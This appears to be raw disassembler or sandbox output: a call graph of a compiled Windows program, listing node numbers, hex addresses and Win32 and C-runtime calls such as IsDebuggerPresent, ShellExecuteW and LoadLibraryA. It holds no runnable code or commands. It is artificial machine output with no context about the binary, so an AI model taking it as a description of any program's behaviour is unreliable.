100922 733b3a 100760->100922 100762 734864 SystemParametersInfoW 100762->100763 100763->100674 100764->100648 100765->100652 100766->100659 100770->100675 100771->100678 100772->100684 100773->100686 100774->100690 100775->100691 100779 7587dc 100776->100779 100778 758817 100778->100695 100782 759de6 TlsSetValue 100778->100782 100779->100778 100781 7587fa 100779->100781 100785 7651f6 100779->100785 100781->100778 100781->100779 100793 75a132 Sleep 100781->100793 100782->100698 100783->100702 100784->100699 100786 765201 100785->100786 100792 76521c 100785->100792 100787 76520d 100786->100787 100786->100792 100794 758b28 58 API calls __getptd_noexit 100787->100794 100788 76522c HeapAlloc 100790 765212 100788->100790 100788->100792 100790->100779 100792->100788 100792->100790 100795 7533a1 DecodePointer 100792->100795 100793->100781 100794->100790 100795->100792 100797 759c1c 100796->100797 100798 759c2f EnterCriticalSection 100796->100798 100806 759c93 100797->100806 100798->100706 100800 759c22 100800->100798 100830 7530b5 58 API calls 3 library calls 100800->100830 100803->100718 100804->100710 100805->100712 100807 759c9f _raise 100806->100807 100808 759cc0 100807->100808 100809 759ca8 100807->100809 100817 759ce1 _raise 100808->100817 100834 75881d 58 API calls 2 library calls 100808->100834 100831 75a16b 58 API calls 2 library calls 100809->100831 100811 759cad 100832 75a1c8 58 API calls 8 library calls 100811->100832 100814 759cd5 100815 759cdc 100814->100815 100816 759ceb 100814->100816 100835 758b28 58 API calls __getptd_noexit 100815->100835 100820 759c0b __lock 58 API calls 100816->100820 100817->100800 100818 759cb4 100833 75309f GetModuleHandleExW GetProcAddress ExitProcess ___crtCorExitProcess 100818->100833 100822 759cf2 100820->100822 100824 759d17 100822->100824 100825 759cff 100822->100825 100837 752d55 100824->100837 100836 759e2b InitializeCriticalSectionAndSpinCount 100825->100836 100828 759d0b 100843 759d33 LeaveCriticalSection _doexit 100828->100843 100831->100811 100832->100818 100834->100814 100835->100817 100836->100828 100838 752d5e RtlFreeHeap 100837->100838 100839 752d87 _free 100837->100839 100838->100839 100840 752d73 100838->100840 100839->100828 100844 758b28 58 API calls __getptd_noexit 100840->100844 100842 752d79 GetLastError 100842->100839 100843->100817 100844->100842 100845->100726 100846->100731 100847->100738 100849 758dd1 100848->100849 100854 758c59 100849->100854 100853 758dec 100853->100745 100855 758c73 _memset ___raise_securityfailure 100854->100855 100856 758c93 IsDebuggerPresent 100855->100856 100862 75a155 SetUnhandledExceptionFilter UnhandledExceptionFilter 100856->100862 100858 758d57 ___raise_securityfailure 100863 75c5f6 100858->100863 100860 758d7a 100861 75a140 GetCurrentProcess TerminateProcess 100860->100861 100861->100853 100862->100858 100864 75c600 IsProcessorFeaturePresent 100863->100864 100865 75c5fe 100863->100865 100867 76590a 100864->100867 100865->100860 100870 7658b9 5 API calls ___raise_securityfailure 100867->100870 100869 7659ed 100869->100860 100870->100869 100872 75a4d4 EncodePointer 100871->100872 100872->100872 100873 75a4ee 100872->100873 100873->100749 100877 752c44 100874->100877 100876 752d4b 100876->100751 100878 752c50 _raise 100877->100878 100885 753217 100878->100885 100884 752c77 _raise 100884->100876 100886 759c0b __lock 58 API calls 100885->100886 100887 752c59 100886->100887 100888 752c88 DecodePointer DecodePointer 100887->100888 100889 752cb5 100888->100889 100890 752c65 100888->100890 100889->100890 100902 7587a4 59 API calls _raise 100889->100902 100899 752c82 100890->100899 100892 752d18 EncodePointer EncodePointer 100892->100890 100893 752cc7 100893->100892 100894 752cec 100893->100894 100903 758864 61 API calls __realloc_crt 100893->100903 100894->100890 100897 752d06 EncodePointer 100894->100897 100904 758864 61 API calls __realloc_crt 100894->100904 100897->100892 100898 752d00 100898->100890 100898->100897 100905 753220 100899->100905 100902->100893 100903->100894 100904->100898 100908 759d75 LeaveCriticalSection 100905->100908 100907 752c87 100907->100884 100908->100907 100910 759c0b __lock 58 API calls 100909->100910 100911 753377 DecodePointer EncodePointer 100910->100911 100974 759d75 LeaveCriticalSection 100911->100974 100913 734849 100914 7533d4 100913->100914 100915 7533de 100914->100915 100916 7533f8 100914->100916 100915->100916 100975 758b28 58 API calls __getptd_noexit 100915->100975 100916->100758 100918 7533e8 100976 758db6 9 API calls _raise 100918->100976 100920 7533f3 100920->100758 100921->100760 100923 733b47 __write_nolock 100922->100923 100977 737667 100923->100977 100927 733b7a IsDebuggerPresent 100928 76d272 MessageBoxA 100927->100928 100929 733b88 100927->100929 100931 76d28c 100928->100931 100929->100931 100932 733ba5 100929->100932 100960 733c61 100929->100960 100930 733c68 SetCurrentDirectoryW 100937 733c75 Mailbox 100930->100937 101181 737213 59 API calls Mailbox 100931->101181 101063 737285 100932->101063 100936 733bc3 GetFullPathNameW 100939 737bcc 59 API calls 100936->100939 100937->100762 100938 76d29c 100941 76d2b2 SetCurrentDirectoryW 100938->100941 100940 733bfe 100939->100940 101079 74092d 100940->101079 100941->100937 100944 733c1c 100945 733c26 100944->100945 101182 78874b AllocateAndInitializeSid CheckTokenMembership FreeSid 100944->101182 101095 733a46 GetSysColorBrush LoadCursorW LoadIconW LoadIconW LoadIconW 100945->101095 100948 76d2cf 100948->100945 100951 76d2e0 100948->100951 101183 734706 100951->101183 100952 733c30 100954 733c43 100952->100954 100956 73434a 68 API calls 100952->100956 101103 7409d0 100954->101103 100955 76d2e8 101190 737de1 100955->101190 100956->100954 100958 733c4e 100958->100960 101180 73443a Shell_NotifyIconW _memset 100958->101180 100960->100930 100961 76d2f5 100963 76d324 100961->100963 100964 76d2ff 100961->100964 100965 737cab 59 API calls 100963->100965 100966 737cab 59 API calls 100964->100966 100967 76d320 GetForegroundWindow ShellExecuteW 100965->100967 100968 76d30a 100966->100968 100972 76d354 Mailbox 100967->100972 100969 737b2e 59 API calls 100968->100969 100971 76d317 100969->100971 100973 737cab 59 API calls 100971->100973 100972->100960 100973->100967 100974->100913 100975->100918 100976->100920 100978 750db6 Mailbox 59 API calls 100977->100978 100979 737688 100978->100979 100980 750db6 Mailbox 59 API calls 100979->100980 100981 733b51 GetCurrentDirectoryW 100980->100981 100982 733766 100981->100982 100983 737667 59 API calls 100982->100983 100984 73377c 100983->100984 101194 733d31 100984->101194 100986 73379a 100987 734706 61 API calls 100986->100987 100988 7337ae 100987->100988 100989 737de1 59 API calls 100988->100989 100990 7337bb 100989->100990 101208 734ddd 100990->101208 100993 76d173 101275 79955b 100993->101275 100994 7337dc Mailbox 100997 738047 59 API calls 100994->100997 101000 7337ef 100997->101000 100998 76d192 100999 752d55 _free 58 API calls 100998->100999 101002 76d19f 100999->101002 101232 73928a 101000->101232 101004 734e4a 84 API calls 101002->101004 101006 76d1a8 101004->101006 101010 733ed0 59 API calls 101006->101010 101007 737de1 59 API calls 101008 733808 101007->101008 101235 7384c0 101008->101235 101012 76d1c3 101010->101012 101011 73381a Mailbox 101013 737de1 59 API calls 101011->101013 101014 733ed0 59 API calls 101012->101014 101015 733840 101013->101015 101016 76d1df 101014->101016 101017 7384c0 69 API calls 101015->101017 101018 734706 61 API calls 101016->101018 101020 73384f Mailbox 101017->101020 101019 76d204 101018->101019 101021 733ed0 59 API calls 101019->101021 101023 737667 59 API calls 101020->101023 101022 76d210 101021->101022 101024 738047 59 API calls 101022->101024 101025 73386d 101023->101025 101026 76d21e 101024->101026 101239 733ed0 101025->101239 101028 733ed0 59 API calls 101026->101028 101030 76d22d 101028->101030 101036 738047 59 API calls 101030->101036 101032 733887 101032->101006 101033 733891 101032->101033 101034 752efd _W_store_winword 60 API calls 101033->101034 101035 73389c 101034->101035 101035->101012 101037 7338a6 101035->101037 101038 76d24f 101036->101038 101039 752efd _W_store_winword 60 API calls 101037->101039 101041 733ed0 59 API calls 101038->101041 101040 7338b1 101039->101040 101040->101016 101043 7338bb 101040->101043 101042 76d25c 101041->101042 101042->101042 101044 752efd _W_store_winword 60 API calls 101043->101044 101045 7338c6 101044->101045 101045->101030 101046 733907 101045->101046 101048 733ed0 59 API calls 101045->101048 101046->101030 101047 733914 101046->101047 101255 7392ce 101047->101255 101049 7338ea 101048->101049 101051 738047 59 API calls 101049->101051 101054 7338f8 101051->101054 101056 733ed0 59 API calls 101054->101056 101056->101046 101058 73928a 59 API calls 101060 73394f 101058->101060 101059 738ee0 60 API calls 101059->101060 101060->101058 101060->101059 101061 733ed0 59 API calls 101060->101061 101062 733995 Mailbox 101060->101062 101061->101060 101062->100927 101064 737292 __write_nolock 101063->101064 101065 76ea22 _memset 101064->101065 101066 7372ab 101064->101066 101068 76ea3e GetOpenFileNameW 101065->101068 101903 734750 101066->101903 101071 76ea8d 101068->101071 101073 737bcc 59 API calls 101071->101073 101075 76eaa2 101073->101075 101075->101075 101076 7372c9 101931 73686a 101076->101931 101080 74093a __write_nolock 101079->101080 102193 736d80 101080->102193 101082 74093f 101094 733c14 101082->101094 102204 74119e 89 API calls 101082->102204 101084 74094c 101084->101094 102205 743ee7 91 API calls Mailbox 101084->102205 101086 740955 101087 740959 GetFullPathNameW 101086->101087 101086->101094 101088 737bcc 59 API calls 101087->101088 101089 740985 101088->101089 101090 737bcc 59 API calls 101089->101090 101091 740992 101090->101091 101092 774cab _wcscat 101091->101092 101093 737bcc 59 API calls 101091->101093 101093->101094 101094->100938 101094->100944 101096 733ab0 LoadImageW RegisterClassExW 101095->101096 101097 76d261 101095->101097 102238 733041 7 API calls 101096->102238 102239 7347a0 LoadImageW EnumResourceNamesW 101097->102239 101100 733b34 101102 7339d5 CreateWindowExW CreateWindowExW ShowWindow ShowWindow 101100->101102 101101 76d26a 101102->100952 101104 774cc3 101103->101104 101118 7409f5 101103->101118 102375 799e4a 89 API calls 4 library calls 101104->102375 101106 740cfa 101106->100958 101108 740ee4 101108->101106 101110 740ef1 101108->101110 102373 741093 331 API calls Mailbox 101110->102373 101111 740a4b PeekMessageW 101179 740a05 Mailbox 101111->101179 101113 740ef8 LockWindowUpdate DestroyWindow GetMessageW 101113->101106 101116 740f2a 101113->101116 101115 774e81 Sleep 101115->101179 101119 775c58 TranslateMessage DispatchMessageW GetMessageW 101116->101119 101117 740ce4 101117->101106 102372 741070 10 API calls Mailbox 101117->102372 101118->101179 102376 739e5d 60 API calls 101118->102376 102377 786349 331 API calls 101118->102377 101119->101119 101121 775c88 101119->101121 101121->101106 101122 740ea5 TranslateMessage DispatchMessageW 101123 740e43 PeekMessageW 101122->101123 101123->101179 101124 774d50 TranslateAcceleratorW 101124->101123 101124->101179 101125 77581f WaitForSingleObject 101128 77583c GetExitCodeProcess CloseHandle 101125->101128 101125->101179 101127 740d13 timeGetTime 101127->101179 101164 740f95 101128->101164 101129 740e5f Sleep 101165 740e70 Mailbox 101129->101165 101130 738047 59 API calls 101130->101179 101131 737667 59 API calls 101131->101165 101132 775af8 Sleep 101132->101165 101134 750db6 59 API calls Mailbox 101134->101179 101136 75049f timeGetTime 101136->101165 101137 740f4e timeGetTime 102374 739e5d 60 API calls 101137->102374 101140 775b8f GetExitCodeProcess 101144 775ba5 WaitForSingleObject 101140->101144 101145 775bbb CloseHandle 101140->101145 101142 7b5f25 110 API calls 101142->101165 101143 73b7dd 109 API calls 101143->101165 101144->101145 101144->101179 101145->101165 101147 73b73c 304 API calls 101147->101179 101149 775874 101149->101164 101150 739e5d 60 API calls 101150->101179 101151 775078 Sleep 101151->101179 101152 775c17 Sleep 101152->101179 101154 737de1 59 API calls 101154->101165 101158 739ea0 304 API calls 101158->101179 101164->100958 101165->101131 101165->101136 101165->101140 101165->101142 101165->101143 101165->101149 101165->101151 101165->101152 101165->101154 101165->101164 101165->101179 102402 792408 60 API calls 101165->102402 102403 739e5d 60 API calls 101165->102403 102404 7389b3 69 API calls Mailbox 101165->102404 102405 73b73c 331 API calls 101165->102405 102406 7864da 60 API calls 101165->102406 102407 795244 QueryPerformanceCounter QueryPerformanceFrequency Sleep QueryPerformanceCounter Sleep 101165->102407 102408 793c55 66 API calls Mailbox 101165->102408 101166 799e4a 89 API calls 101166->101179 101168 7384c0 69 API calls 101168->101179 101169 739c90 59 API calls Mailbox 101169->101179 101171 78617e 59 API calls Mailbox 101171->101179 101172 737de1 59 API calls 101172->101179 101173 7389b3 69 API calls 101173->101179 101174 7755d5 VariantClear 101174->101179 101175 77566b VariantClear 101175->101179 101176 775419 VariantClear 101176->101179 101177 786e8f 59 API calls 101177->101179 101178 738cd4 59 API calls Mailbox 101178->101179 101179->101111 101179->101115 101179->101117 101179->101122 101179->101123 101179->101124 101179->101125 101179->101127 101179->101129 101179->101130 101179->101132 101179->101134 101179->101137 101179->101147 101179->101150 101179->101158 101179->101164 101179->101165 101179->101166 101179->101168 101179->101169 101179->101171 101179->101172 101179->101173 101179->101174 101179->101175 101179->101176 101179->101177 101179->101178 102240 73e6a0 101179->102240 102271 73f460 101179->102271 102290 73fce0 101179->102290 102370 73e420 331 API calls 101179->102370 102371 7331ce IsDialogMessageW GetClassLongW 101179->102371 102378 7b6018 59 API calls 101179->102378 102379 799a15 59 API calls Mailbox 101179->102379 102380 78d4f2 59 API calls 101179->102380 102381 739837 101179->102381 102399 7860ef 59 API calls 2 library calls 101179->102399 102400 738401 59 API calls 101179->102400 102401 7382df 59 API calls Mailbox 101179->102401 101180->100960 101181->100938 101182->100948 101184 761940 __write_nolock 101183->101184 101185 734713 GetModuleFileNameW 101184->101185 101186 737de1 59 API calls 101185->101186 101187 734739 101186->101187 101188 734750 60 API calls 101187->101188 101189 734743 Mailbox 101188->101189 101189->100955 101191 737df0 __wsetenvp _memmove 101190->101191 101192 750db6 Mailbox 59 API calls 101191->101192 101193 737e2e 101192->101193 101193->100961 101195 733d3e __write_nolock 101194->101195 101196 737bcc 59 API calls 101195->101196 101201 733ea4 Mailbox 101195->101201 101198 733d70 101196->101198 101206 733da6 Mailbox 101198->101206 101316 7379f2 101198->101316 101199 7379f2 59 API calls 101199->101206 101200 733e77 101200->101201 101202 737de1 59 API calls 101200->101202 101201->100986 101204 733e98 101202->101204 101203 737de1 59 API calls 101203->101206 101205 733f74 59 API calls 101204->101205 101205->101201 101206->101199 101206->101200 101206->101201 101206->101203 101319 733f74 101206->101319 101325 734bb5 101208->101325 101213 76d8e6 101216 734e4a 84 API calls 101213->101216 101214 734e08 LoadLibraryExW 101335 734b6a 101214->101335 101218 76d8ed 101216->101218 101220 734b6a 3 API calls 101218->101220 101222 76d8f5 101220->101222 101221 734e2f 101221->101222 101223 734e3b 101221->101223 101361 734f0b 101222->101361 101224 734e4a 84 API calls 101223->101224 101226 7337d4 101224->101226 101226->100993 101226->100994 101229 76d91c 101369 734ec7 101229->101369 101231 76d929 101233 750db6 Mailbox 59 API calls 101232->101233 101234 7337fb 101233->101234 101234->101007 101236 7384cb 101235->101236 101237 7384f2 101236->101237 101623 7389b3 69 API calls Mailbox 101236->101623 101237->101011 101240 733ef3 101239->101240 101241 733eda 101239->101241 101243 737bcc 59 API calls 101240->101243 101242 738047 59 API calls 101241->101242 101244 733879 101242->101244 101243->101244 101245 752efd 101244->101245 101246 752f7e 101245->101246 101247 752f09 101245->101247 101626 752f90 60 API calls 3 library calls 101246->101626 101254 752f2e 101247->101254 101624 758b28 58 API calls __getptd_noexit 101247->101624 101250 752f8b 101250->101032 101251 752f15 101625 758db6 9 API calls _raise 101251->101625 101253 752f20 101253->101032 101254->101032 101256 7392d6 101255->101256 101257 750db6 Mailbox 59 API calls 101256->101257 101258 7392e4 101257->101258 101259 733924 101258->101259 101627 7391fc 59 API calls Mailbox 101258->101627 101261 739050 101259->101261 101628 739160 101261->101628 101263 750db6 Mailbox 59 API calls 101264 733932 101263->101264 101266 738ee0 101264->101266 101265 73905f 101265->101263 101265->101264 101267 76f17c 101266->101267 101269 738ef7 101266->101269 101267->101269 101638 738bdb 59 API calls Mailbox 101267->101638 101270 739040 101269->101270 101271 738ff8 101269->101271 101274 738fff 101269->101274 101637 739d3c 60 API calls Mailbox 101270->101637 101273 750db6 Mailbox 59 API calls 101271->101273 101273->101274 101274->101060 101276 734ee5 85 API calls 101275->101276 101277 7995ca 101276->101277 101639 799734 101277->101639 101280 734f0b 74 API calls 101281 7995f7 101280->101281 101282 734f0b 74 API calls 101281->101282 101283 799607 101282->101283 101284 734f0b 74 API calls 101283->101284 101285 799622 101284->101285 101286 734f0b 74 API calls 101285->101286 101287 79963d 101286->101287 101288 734ee5 85 API calls 101287->101288 101289 799654 101288->101289 101290 75571c _W_store_winword 58 API calls 101289->101290 101291 79965b 101290->101291 101292 75571c _W_store_winword 58 API calls 101291->101292 101293 799665 101292->101293 101294 734f0b 74 API calls 101293->101294 101295 799679 101294->101295 101296 799109 GetSystemTimeAsFileTime 101295->101296 101297 79968c 101296->101297 101298 7996a1 101297->101298 101299 7996b6 101297->101299 101300 752d55 _free 58 API calls 101298->101300 101301 79971b 101299->101301 101302 7996bc 101299->101302 101304 7996a7 101300->101304 101303 752d55 _free 58 API calls 101301->101303 101645 798b06 116 API calls __fcloseall 101302->101645 101306 76d186 101303->101306 101307 752d55 _free 58 API calls 101304->101307 101306->100998 101310 734e4a 101306->101310 101307->101306 101308 799713 101309 752d55 _free 58 API calls 101308->101309 101309->101306 101311 734e54 101310->101311 101313 734e5b 101310->101313 101646 7553a6 101311->101646 101314 734e7b FreeLibrary 101313->101314 101315 734e6a 101313->101315 101314->101315 101315->100998 101317 737e4f 59 API calls 101316->101317 101318 7379fd 101317->101318 101318->101198 101320 733f82 101319->101320 101324 733fa4 _memmove 101319->101324 101323 750db6 Mailbox 59 API calls 101320->101323 101321 750db6 Mailbox 59 API calls 101322 733fb8 101321->101322 101322->101206 101323->101324 101324->101321 101374 734c03 101325->101374 101328 734bdc 101330 734bf5 101328->101330 101331 734bec FreeLibrary 101328->101331 101329 734c03 2 API calls 101329->101328 101332 75525b 101330->101332 101331->101330 101378 755270 101332->101378 101334 734dfc 101334->101213 101334->101214 101538 734c36 101335->101538 101338 734b8f 101340 734ba1 FreeLibrary 101338->101340 101341 734baa 101338->101341 101339 734c36 2 API calls 101339->101338 101340->101341 101342 734c70 101341->101342 101343 750db6 Mailbox 59 API calls 101342->101343 101344 734c85 101343->101344 101542 73522e 101344->101542 101346 734c91 _memmove 101347 734ccc 101346->101347 101348 734dc1 101346->101348 101349 734d89 101346->101349 101350 734ec7 69 API calls 101347->101350 101556 79991b 95 API calls 101348->101556 101545 734e89 CreateStreamOnHGlobal 101349->101545 101353 734cd5 101350->101353 101354 734f0b 74 API calls 101353->101354 101356 734d69 101353->101356 101357 76d8a7 101353->101357 101551 734ee5 101353->101551 101354->101353 101356->101221 101358 734ee5 85 API calls 101357->101358 101359 76d8bb 101358->101359 101360 734f0b 74 API calls 101359->101360 101360->101356 101362 76d9cd 101361->101362 101363 734f1d 101361->101363 101580 7555e2 101363->101580 101366 799109 101600 798f5f 101366->101600 101368 79911f 101368->101229 101370 734ed6 101369->101370 101371 76d990 101369->101371 101605 755c60 101370->101605 101373 734ede 101373->101231 101375 734bd0 101374->101375 101376 734c0c LoadLibraryA 101374->101376 101375->101328 101375->101329 101376->101375 101377 734c1d GetProcAddress 101376->101377 101377->101375 101380 75527c _raise 101378->101380 101379 75528f 101427 758b28 58 API calls __getptd_noexit 101379->101427 101380->101379 101382 7552c0 101380->101382 101397 7604e8 101382->101397 101383 755294 101428 758db6 9 API calls _raise 101383->101428 101386 7552c5 101387 7552ce 101386->101387 101388 7552db 101386->101388 101429 758b28 58 API calls __getptd_noexit 101387->101429 101390 755305 101388->101390 101391 7552e5 101388->101391 101412 760607 101390->101412 101430 758b28 58 API calls __getptd_noexit 101391->101430 101393 75529f _raise @_EH4_CallFilterFunc@8 101393->101334 101398 7604f4 _raise 101397->101398 101399 759c0b __lock 58 API calls 101398->101399 101410 760502 101399->101410 101400 760576 101432 7605fe 101400->101432 101401 76057d 101437 75881d 58 API calls 2 library calls 101401->101437 101404 760584 101404->101400 101438 759e2b InitializeCriticalSectionAndSpinCount 101404->101438 101405 7605f3 _raise 101405->101386 101407 759c93 __mtinitlocknum 58 API calls 101407->101410 101409 7605aa EnterCriticalSection 101409->101400 101410->101400 101410->101401 101410->101407 101435 756c50 59 API calls __lock 101410->101435 101436 756cba LeaveCriticalSection LeaveCriticalSection _doexit 101410->101436 101421 760627 __wopenfile 101412->101421 101413 760641 101443 758b28 58 API calls __getptd_noexit 101413->101443 101414 7607fc 101414->101413 101418 76085f 101414->101418 101416 760646 101444 758db6 9 API calls _raise 101416->101444 101440 7685a1 101418->101440 101419 755310 101431 755332 LeaveCriticalSection LeaveCriticalSection _fseek 101419->101431 101421->101413 101421->101414 101445 7537cb 60 API calls 2 library calls 101421->101445 101423 7607f5 101423->101414 101446 7537cb 60 API calls 2 library calls 101423->101446 101425 760814 101425->101414 101447 7537cb 60 API calls 2 library calls 101425->101447 101427->101383 101428->101393 101429->101393 101430->101393 101431->101393 101439 759d75 LeaveCriticalSection 101432->101439 101434 760605 101434->101405 101435->101410 101436->101410 101437->101404 101438->101409 101439->101434 101448 767d85 101440->101448 101442 7685ba 101442->101419 101443->101416 101444->101419 101445->101423 101446->101425 101447->101414 101449 767d91 _raise 101448->101449 101450 767da7 101449->101450 101453 767ddd 101449->101453 101535 758b28 58 API calls __getptd_noexit 101450->101535 101452 767dac 101536 758db6 9 API calls _raise 101452->101536 101459 767e4e 101453->101459 101456 767df9 101537 767e22 LeaveCriticalSection __unlock_fhandle 101456->101537 101458 767db6 _raise 101458->101442 101460 767e6e 101459->101460 101461 7544ea __wsopen_nolock 58 API calls 101460->101461 101464 767e8a 101461->101464 101462 758dc6 __invoke_watson 8 API calls 101463 7685a0 101462->101463 101467 767d85 __wsopen_helper 103 API calls 101463->101467 101465 767ee7 101464->101465 101466 767ec4 101464->101466 101482 767fc1 101464->101482 101473 767fa5 101465->101473 101480 767f83 101465->101480 101468 758af4 __set_osfhnd 58 API calls 101466->101468 101469 7685ba 101467->101469 101470 767ec9 101468->101470 101469->101456 101471 758b28 _raise 58 API calls 101470->101471 101472 767ed6 101471->101472 101474 758db6 _raise 9 API calls 101472->101474 101475 758af4 __set_osfhnd 58 API calls 101473->101475 101476 767ee0 101474->101476 101477 767faa 101475->101477 101476->101456 101478 758b28 _raise 58 API calls 101477->101478 101479 767fb7 101478->101479 101481 758db6 _raise 9 API calls 101479->101481 101483 75d294 __alloc_osfhnd 61 API calls 101480->101483 101481->101482 101482->101462 101484 768051 101483->101484 101485 76807e 101484->101485 101486 76805b 101484->101486 101487 767cfd ___createFile GetModuleHandleW GetProcAddress CreateFileW 101485->101487 101488 758af4 __set_osfhnd 58 API calls 101486->101488 101497 7680a0 101487->101497 101489 768060 101488->101489 101491 758b28 _raise 58 API calls 101489->101491 101490 76811e GetFileType 101492 76816b 101490->101492 101493 768129 GetLastError 101490->101493 101495 76806a 101491->101495 101505 75d52a __set_osfhnd 59 API calls 101492->101505 101496 758b07 __dosmaperr 58 API calls 101493->101496 101494 7680ec GetLastError 101498 758b07 __dosmaperr 58 API calls 101494->101498 101499 758b28 _raise 58 API calls 101495->101499 101500 768150 CloseHandle 101496->101500 101497->101490 101497->101494 101501 767cfd ___createFile GetModuleHandleW GetProcAddress CreateFileW 101497->101501 101502 768111 101498->101502 101499->101476 101500->101502 101503 76815e 101500->101503 101504 7680e1 101501->101504 101507 758b28 _raise 58 API calls 101502->101507 101506 758b28 _raise 58 API calls 101503->101506 101504->101490 101504->101494 101510 768189 101505->101510 101508 768163 101506->101508 101507->101482 101508->101502 101509 768344 101509->101482 101513 768517 CloseHandle 101509->101513 101510->101509 101511 7618c1 __lseeki64_nolock 60 API calls 101510->101511 101527 76820a 101510->101527 101512 7681f3 101511->101512 101516 758af4 __set_osfhnd 58 API calls 101512->101516 101531 768212 101512->101531 101514 767cfd ___createFile GetModuleHandleW GetProcAddress CreateFileW 101513->101514 101515 76853e 101514->101515 101517 768546 GetLastError 101515->101517 101518 7683ce 101515->101518 101516->101527 101519 758b07 __dosmaperr 58 API calls 101517->101519 101518->101482 101520 768552 101519->101520 101523 75d43d __free_osfhnd 59 API calls 101520->101523 101521 760add __close_nolock 61 API calls 101521->101531 101522 760e5b 70 API calls __read_nolock 101522->101531 101523->101518 101524 7697a2 __chsize_nolock 82 API calls 101524->101531 101525 7618c1 60 API calls __lseeki64_nolock 101525->101527 101526 75d886 __write 78 API calls 101526->101527 101527->101509 101527->101525 101527->101526 101527->101531 101528 7683c1 101530 760add __close_nolock 61 API calls 101528->101530 101529 7683aa 101529->101509 101532 7683c8 101530->101532 101531->101521 101531->101522 101531->101524 101531->101527 101531->101528 101531->101529 101534 7618c1 60 API calls __lseeki64_nolock 101531->101534 101533 758b28 _raise 58 API calls 101532->101533 101533->101518 101534->101531 101535->101452 101536->101458 101537->101458 101539 734b83 101538->101539 101540 734c3f LoadLibraryA 101538->101540 101539->101338 101539->101339 101540->101539 101541 734c50 GetProcAddress 101540->101541 101541->101539 101543 750db6 Mailbox 59 API calls 101542->101543 101544 735240 101543->101544 101544->101346 101546 734ea3 FindResourceExW 101545->101546 101550 734ec0 101545->101550 101547 76d933 LoadResource 101546->101547 101546->101550 101548 76d948 SizeofResource 101547->101548 101547->101550 101549 76d95c LockResource 101548->101549 101548->101550 101549->101550 101550->101347 101552 734ef4 101551->101552 101553 76d9ab 101551->101553 101557 75584d 101552->101557 101555 734f02 101555->101353 101556->101347 101558 755859 _raise 101557->101558 101559 75586b 101558->101559 101561 755891 101558->101561 101570 758b28 58 API calls __getptd_noexit 101559->101570 101572 756c11 101561->101572 101562 755870 101571 758db6 9 API calls _raise 101562->101571 101565 755897 101578 7557be 83 API calls 5 library calls 101565->101578 101567 7558a6 101579 7558c8 LeaveCriticalSection LeaveCriticalSection _fseek 101567->101579 101569 75587b _raise 101569->101555 101570->101562 101571->101569 101573 756c21 101572->101573 101574 756c43 EnterCriticalSection 101572->101574 101573->101574 101575 756c29 101573->101575 101576 756c39 101574->101576 101577 759c0b __lock 58 API calls 101575->101577 101576->101565 101577->101576 101578->101567 101579->101569 101583 7555fd 101580->101583 101582 734f2e 101582->101366 101584 755609 _raise 101583->101584 101585 75564c 101584->101585 101586 75561f _memset 101584->101586 101587 755644 _raise 101584->101587 101588 756c11 __lock_file 59 API calls 101585->101588 101596 758b28 58 API calls __getptd_noexit 101586->101596 101587->101582 101590 755652 101588->101590 101598 75541d 72 API calls 6 library calls 101590->101598 101591 755639 101597 758db6 9 API calls _raise 101591->101597 101594 755668 101599 755686 LeaveCriticalSection LeaveCriticalSection _fseek 101594->101599 101596->101591 101597->101587 101598->101594 101599->101587 101603 75520a GetSystemTimeAsFileTime 101600->101603 101602 798f6e 101602->101368 101604 755238 __aulldiv 101603->101604 101604->101602 101606 755c6c _raise 101605->101606 101607 755c93 101606->101607 101608 755c7e 101606->101608 101609 756c11 __lock_file 59 API calls 101607->101609 101619 758b28 58 API calls __getptd_noexit 101608->101619 101611 755c99 101609->101611 101621 7558d0 67 API calls 6 library calls 101611->101621 101612 755c83 101620 758db6 9 API calls _raise 101612->101620 101615 755ca4 101622 755cc4 LeaveCriticalSection LeaveCriticalSection _fseek 101615->101622 101616 755c8e _raise 101616->101373 101618 755cb6 101618->101616 101619->101612 101620->101616 101621->101615 101622->101618 101623->101237 101624->101251 101625->101253 101626->101250 101627->101259 101629 739169 Mailbox 101628->101629 101630 76f19f 101629->101630 101633 739173 101629->101633 101631 750db6 Mailbox 59 API calls 101630->101631 101635 76f1ab 101631->101635 101632 73917a 101632->101265 101633->101632 101636 739c90 59 API calls Mailbox 101633->101636 101635->101635 101636->101633 101637->101274 101638->101269 101641 799748 _wcscmp _W_expandtime 101639->101641 101640 799109 GetSystemTimeAsFileTime 101640->101641 101641->101640 101642 734f0b 74 API calls 101641->101642 101643 7995dc 101641->101643 101644 734ee5 85 API calls 101641->101644 101642->101641 101643->101280 101643->101306 101644->101641 101645->101308 101647 7553b2 _raise 101646->101647 101648 7553c6 101647->101648 101649 7553de 101647->101649 101675 758b28 58 API calls __getptd_noexit 101648->101675 101651 756c11 __lock_file 59 API calls 101649->101651 101656 7553d6 _raise 101649->101656 101653 7553f0 101651->101653 101652 7553cb 101676 758db6 9 API calls _raise 101652->101676 101659 75533a 101653->101659 101656->101313 101660 75535d 101659->101660 101661 755349 101659->101661 101673 755359 101660->101673 101678 754a3d 101660->101678 101721 758b28 58 API calls __getptd_noexit 101661->101721 101663 75534e 101722 758db6 9 API calls _raise 101663->101722 101670 755377 101695 760a02 101670->101695 101672 75537d 101672->101673 101674 752d55 _free 58 API calls 101672->101674 101677 755415 LeaveCriticalSection LeaveCriticalSection _fseek 101673->101677 101674->101673 101675->101652 101676->101656 101677->101656 101679 754a50 101678->101679 101680 754a74 101678->101680 101679->101680 101681 7546e6 __flswbuf 58 API calls 101679->101681 101684 760b77 101680->101684 101682 754a6d 101681->101682 101723 75d886 101682->101723 101685 755371 101684->101685 101686 760b84 101684->101686 101688 7546e6 101685->101688 101686->101685 101687 752d55 _free 58 API calls 101686->101687 101687->101685 101689 754705 101688->101689 101690 7546f0 101688->101690 101689->101670 101858 758b28 58 API calls __getptd_noexit 101690->101858 101692 7546f5 101859 758db6 9 API calls _raise 101692->101859 101694 754700 101694->101670 101696 760a0e _raise 101695->101696 101697 760a32 101696->101697 101698 760a1b 101696->101698 101700 760abd 101697->101700 101702 760a42 101697->101702 101875 758af4 58 API calls __getptd_noexit 101698->101875 101880 758af4 58 API calls __getptd_noexit 101700->101880 101701 760a20 101876 758b28 58 API calls __getptd_noexit 101701->101876 101705 760a60 101702->101705 101706 760a6a 101702->101706 101877 758af4 58 API calls __getptd_noexit 101705->101877 101710 75d206 ___lock_fhandle 59 API calls 101706->101710 101707 760a65 101881 758b28 58 API calls __getptd_noexit 101707->101881 101708 760a27 _raise 101708->101672 101712 760a70 101710->101712 101714 760a83 101712->101714 101715 760a8e 101712->101715 101713 760ac9 101882 758db6 9 API calls _raise 101713->101882 101860 760add 101714->101860 